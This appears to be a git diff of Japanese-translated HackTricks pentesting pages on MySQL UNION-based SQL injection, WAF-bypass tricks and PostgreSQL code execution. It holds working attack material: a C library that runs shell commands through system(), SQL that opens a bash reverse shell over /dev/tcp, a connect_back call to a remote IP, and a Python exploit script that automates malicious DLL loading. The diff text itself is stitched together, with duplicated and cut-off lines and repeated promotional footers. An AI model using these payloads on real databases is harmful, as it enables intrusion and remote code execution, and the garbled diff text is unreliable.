To detect MySQL Union Based SQL Injection, you can try injecting a simple UNION SELECT statement into input fields or parameters of a web application. If the application's response changes or displays additional information, it may be vulnerable to Union Based SQL Injection.
### Example
```sql
SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admins--
```
### Prevention
To prevent MySQL Union Based SQL Injection, you should always use parameterized queries or prepared statements to interact with the database. Additionally, input validation and sanitization should be implemented to filter out malicious input.
## MySQLユニオンベース
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -127,29 +115,29 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**[**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションをここで学んでください**](mysql-ssrf.md)**。**
**[**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションをここで学**](mysql-ssrf.md)**。**
## WAFバイパストリック
### Information\_schemaの代替案
"現代"の**MySQL**のバージョンでは、_**information\_schema.tables**_を_**mysql.innodb\_table\_stats**_または_**sys.x$schema\_flattened\_keys**_または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
"現代の" **MySQL** のバージョンでは、_**information\_schema.tables**_ _**mysql.innodb\_table\_stats**_ または _**sys.x$schema\_flattened\_keys**_ または **sys.schema_table_statistics** に置き換えることができることを覚えておいてください。
### コンマなしのMySQLインジェクション
コンマを使用せずに2つの列を選択する[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
コンマを使用せずに2つの列を選択する[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 列名なしで値を取得する
ある時点でテーブルの名前はわかっているが、テーブル内の列名がわからない場合、次のようなコマンドを実行して列の数を見つけることができます:
もしテーブルの名前はわかっているけど、テーブル内の列名がわからない場合、次のようなコマンドを実行して列の数を見つけることができます:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
仮定して、2つの列があるとします最初の列がIDで、もう1つがフラグです、フラグの内容を1文字ずつ試すことでブルートフォース攻撃を試みることができます
仮定して、2つの列があるとします最初の列がIDで、もう1つがフラグです、フラグの内容を1文字ずつ試すことでブルートフォース攻撃を試みることができます
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
@ -158,9 +146,9 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
### MySQLの歴史
MySQL内で他の実行を見ることができます。テーブルを読む**sys.x$statement\_analysis**
**sys.x$statement\_analysis**テーブルを読み取ることで、MySQL内で他の実行を見ることができます。
### バージョンの代替**s**
### バージョンの代替
```
mysql> select @@innodb_version;
mysql> select @@version;
@ -176,7 +164,7 @@ mysql> select version();
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
@ -184,10 +172,10 @@ mysql> select version();
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセス**したいですか、または **HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に**参加**するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。
* **ハッキングテクニックを共有するために、**[**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**したいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします。**
* **ハッキングテクニックを共有するために、** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出してください。**
</details>
@ -23,7 +23,7 @@ lanname | lanacl
---------+---------
plpgsql |
```
デフォルトでは、**関数の作成権限はPUBLICに付与されます**。ここでPUBLICはそのデータベースシステムのすべてのユーザを指します。これを防ぐために、管理者はPUBLICドメインからUSAGE権限を取り消す必要がありました
デフォルトでは、**関数の作成権限はPUBLICに付与されます**。ここでPUBLICはそのデータベースシステムのすべてのユーザを指します。これを防ぐために、管理者はPUBLICドメインからUSAGE権限を取り消す必要がありま
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
@ -120,10 +120,10 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>

View file

@ -4,21 +4,21 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください
* **ハッキングテクニックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**します
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>
## PostgreSQL拡張機能
PostgreSQLは拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できるようにしています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、またはタイプを提供します。
PostgreSQLは拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できるようにしています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、またはを提供します。
バージョン8.1以降、拡張ライブラリに特定の要件が課されています特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。
また、**[PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。](big-binary-files-upload-postgresql.md)**
また、**もし** [**PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。**](big-binary-files-upload-postgresql.md)
### LinuxでのRCE
@ -38,7 +38,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Base64からバイナリファイルを書き込む</summary>
PostgreSQLでファイルにバイナリを書き込む場合、base64を使用する必要があるかもしれません。その場合に役立つ情報です:
Postgresでファイルにバイナリを書き込む場合、base64を使用する必要があるかもしれません。その場合に役立つ情報です:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -91,11 +91,11 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQLバージョン8.2以降、システムを悪用する攻撃者のプロセスはより困難になりました。攻撃者は、すでにシステムに存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、PostgreSQLの互換性のあるメジャーバージョンに対してコンパイルされている必要があり、特定の「マジックブロック」を含める必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上昇し、システムのアーキテクチャとバージョンの互換性に対する深い理解が必要とされます。
PostgreSQLバージョン8.2以降、システムを悪用する攻撃者のプロセスはより困難になりました。攻撃者は、すでにシステムに存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、PostgreSQLの互換性のあるメジャーバージョンに対してコンパイルされている必要があり、特定の「マジックブロック」を含める必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上昇し、システムのアーキテクチャとバージョンの互換性についてより深い理解が必要となります。
#### ライブラリをコンパイルする
PostgreSQLのバージョンを取得する:
PostgreSQLのバージョンを取得するには:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
@ -106,7 +106,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
```bash
apt install postgresql postgresql-server-dev-9.6
```
そして、ライブラリをコンパイルします
そして、ライブラリをコンパイルしてください
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
@ -123,13 +123,13 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
次に、コンパイルされたライブラリをアップロードして、次のコマンドを実行します:
その後、コンパイルされたライブラリをアップロードして、次のようにコマンドを実行します:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
次のように、この**ライブラリは事前にコンパイル**されており、さまざまなPostgreSQLバージョンにも対応しており、次の手順で**このプロセスを自動化**できますPostgreSQLへのアクセス権がある場合
次のように、さまざまなPostgreSQLバージョンに事前コンパイルされたこの**ライブラリ**を見つけることができ、PostgreSQLへのアクセス権がある場合は、このプロセスを**自動化**することもできます
{% embed url="https://github.com/Dionach/pgexec" %}
@ -268,7 +268,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
PostgreSQLの**最新バージョン**では、`superuser`が特定のディレクトリWindowsの場合は`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムの場合は`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**読み込むことが禁止**される制限が課されています。これらのディレクトリは、NETWORK\_SERVICEまたはpostgresアカウントによって書き込み操作から**保護**されています。
これらの制限にもかかわらず、認証済みのデータベース`superuser`は「大きなオブジェクト」を使用してファイルをファイルシステムに**書き込むことが可能**です。この機能は、データベース操作(テーブルの更新や作成など)に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みを含みます。
これらの制限にもかかわらず、認証済みのデータベース`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイルを書き込む**ことが可能です。この機能により、データベース操作(テーブルの更新や作成など)に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内に書き込むことができます。
`CREATE FUNCTION`コマンドから生じる重大な脆弱性は、データディレクトリへのディレクトリトラバーサルを**許可**しています。その結果、認証済みの攻撃者はこのトラバーサルを**悪用**して共有ライブラリファイルをデータディレクトリに書き込み、その後**読み込む**ことができます。この脆弱性を利用すると、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行できます。
@ -280,16 +280,16 @@ PostgreSQLの**最新バージョン**では、`superuser`が特定のディレ
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
データディレクトリに拡張機能この例ではpoc.dllという名前をアップロードしたら、次のようにそれを読み込むことができます:
この例では、拡張子をpoc.dllとしてデータディレクトリにアップロードした後、それを次のように読み込むことができます:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_`.dll`拡張子を追加する必要はないことに注意してください。create関数がそれを追加します。_
詳細については、[**こちらの元の記事**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**を読んでください。**\
その記事では、[**ポストグレス拡張機能を生成するために使用されコード**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)が示されていました_ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください_。\
同じページには、このテクニックを自動化する**エクスプロイト**が掲載されていました:
詳細については、[**こちらの元の記事**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)を参照してください。\
その記事では、[**ポストグレス拡張機能を生成するために使用されコード**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)が示されていました_ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください_。\
同じページには、このテクニックを自動化する**エクスプロイト**が提供されていました:
```python
#!/usr/bin/env python3
import sys
@ -336,10 +336,10 @@ print(" drop function connect_back(text, integer);")
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -1,14 +1,28 @@
# PostgreSQL言語
あなたがアクセスしたPostgreSQLデータベースには、**任意のコードを実行**するために悪用できる異なる**スクリプト言語**がインストールされている可能性があります。
<details>
これらを**実行できます**:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
## PostgreSQL言語
あなたがアクセスしたPostgreSQLデータベースには、**実行可能なコードを実行**するために悪用できる**異なるスクリプト言語**がインストールされているかもしれません。
**それらを実行できます**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
ほとんどのスクリプト言語は、PostgreSQLにインストールできる**2つのバージョン**があります: **trusted**と**untrusted**です。**untrusted**は**"u"で終わる名前**を持ち、**コードの実行**や他の興味深い機能を利用できるバージョンです。インストールされていると興味深い言語は次のとおりです:
ほとんどのスクリプト言語は、PostgreSQLにインストールできる**2つのバージョン**があります: **trusted****untrusted**。**untrusted** は**「u」で終わる名前**を持ち、**コードの実行**や他の興味深い機能を利用できるバージョンです。インストールされていると興味深い言語は次のとおりです:
* **plpythonu**
* **plpython3u**
@ -18,7 +32,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
* ... (他のプログラミング言語も、安全でないバージョンを使用している場合)
{% hint style="warning" %}
PostgreSQLによって**信頼されていない****`lanpltrusted`**が**`false`****興味深い言語がインストール**されている場合は、以下の行を使用して**信頼**させることができます。これにより、PostgreSQLによる制限が適用されなくなります:
興味深い言語が**インストール**されているが、PostgreSQLによって**信頼されていない****`lanpltrusted`****`false`**)場合は、以下の行を使用して**信頼**することができます。これにより、PostgreSQLによる制限が適用されなくなります:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -27,7 +41,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
{% endhint %}
{% hint style="danger" %}
言語が表示されない場合は、次の手順で読み込んでみることができます(**スーパーアドミンである必要があります**:
言語が表示されない場合は、次の手順でロードしてみることができます(**スーパーアドミンである必要があります**:
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -37,7 +51,7 @@ CREATE EXTENSION plrubyu;
```
{% endhint %}
安全なバージョンを「安全ではない」ようにコンパイルすることも可能です。例として[**こちら**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を参照してください。したがって、**trusted** がインストールされている場合でもコードを実行できるかどうかを常に試す価値があります。
安全なバージョンを「安全ではない」バージョンとしてコンパイルすることが可能であることに注意してください。例えば、[**こちら**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を参照してください。したがって、**trusted** がインストールされている場合でもコードを実行できるかどうかを常に試す価値があります。
## plpythonu/plpython3u
@ -220,7 +234,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="読む" %}PostgreSQLの言語機能を利用してリモートコード実行を行う方法があります。これにより、攻撃者はSQLインジェクションを介して悪意のあるコードを実行できます。攻撃者は`plpythonu`や`plperlu`などのPostgreSQLのサポートされている言語を使用して、悪意のあるコードを実行することができます。これにより、攻撃者はデータベース内でコードを実行し、システムに深刻な影響を与える可能性があります。{% endtab %}
{% tab title="読む" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -296,10 +310,10 @@ SELECT req3('https://google.com'); #Request using python3
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出**してください。
* [**公式PEASSHackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -8,15 +8,15 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す
